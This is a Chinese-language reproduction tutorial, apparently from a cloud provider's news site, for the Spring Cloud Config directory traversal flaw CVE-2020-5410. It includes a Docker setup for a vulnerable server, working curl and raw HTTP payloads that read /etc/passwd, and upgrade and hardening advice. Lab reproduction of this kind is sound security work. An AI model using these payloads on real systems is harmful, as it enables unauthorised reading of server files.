您好,登錄后才能下訂單哦!
Spring Cloud Config 目錄穿越漏洞CVE-2020-5410的復現怎么樣的,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
Spring Cloud Config 目錄穿越漏洞
(CVE-2020-5410)
Spring Cloud Config,2.2.3之前的2.2.x版本,2.1.9之前的2.1.x版本以及較舊的不受支持的版本允許應用程序通過spring-cloud-config-server模塊提供任意配置文件。惡意用戶或攻擊者可以使用特制URL發送請求,這可能導致目錄遍歷攻擊。
Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8
PoC:
curl "vulnerablemachine:port/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
curl "127.0.0.1:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
docker環境部署:
docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE
docker run -it --name=spring-cloud-config-server \
-p 8888:8888 \
hyness/spring-cloud-config-server:2.1.6.RELEASE \
--spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo
訪問地址:http://192.168.0.110:8888/
執行POC:
curl "192.168.0.110:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
Burp執行訪問:
詳細數據包:
GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development HTTP/1.1
Host: 192.168.0.110:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
系統執行訪問記錄:
升級到 Spring Cloud Config 至2.2.3版本或2.1.9版本,并且將Spring-Cloud-Config-Server服務放置在內網中,同時使用Spring Security進行身份驗證。最新版本下載地址為:https://github.com/spring-cloud/spring-cloud-config/releases
看完上述內容,你們掌握Spring Cloud Config 目錄穿越漏洞CVE-2020-5410的復現怎么樣的的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。